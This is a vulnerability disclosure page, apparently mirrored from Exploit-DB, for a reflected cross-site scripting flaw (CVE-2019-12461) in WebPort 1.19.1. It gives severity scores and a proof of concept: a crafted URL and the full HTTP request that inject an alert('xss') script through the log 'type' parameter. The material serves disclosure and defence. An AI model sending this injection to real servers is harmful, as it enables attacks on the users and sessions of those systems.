WebPort 1.19.1 - Reflected Cross-Site Scripting

2020-06-2200:00:00

Emre ÖVÜNÇ

www.exploit-db.com

363

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

6.3 Medium

AI Score

Confidence

High

0.004 Low

EPSS

Percentile

72.0%

JSON

# Exploit Title: WebPort 1.19.1 - Reflected Cross-Site Scripting
# Date: 2019-05-30
# Exploit Author: Emre ÖVÜNÇ
# Vendor Homepage: https://webport.se/
# Software Link: https://webport.se/nedladdningar/
# Version: v1.19.1
# Tested on: Windows/Linux
# CVE-2019-12461
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12461
# https://github.com/EmreOvunc/WebPort-v1.19.1-Reflected-XSS

# PoC

To exploit vulnerability, someone could use 'http://
[server]:8090/log?type="</script><script>alert('xss');</script><script>'
request
to impact users who open a maliciously crafted link or third-party web page.

GET /log?type=%22%3C/script%3E%3Cscript%3Ealert(%27xss%27);%3C/script%3E%3Cscript%3E
HTTP/1.1
Host: [TARGET]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0)
Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: __tiny_sessid=6361847c-952b-45ba-874c-71f1794ffe37
Upgrade-Insecure-Requests: 1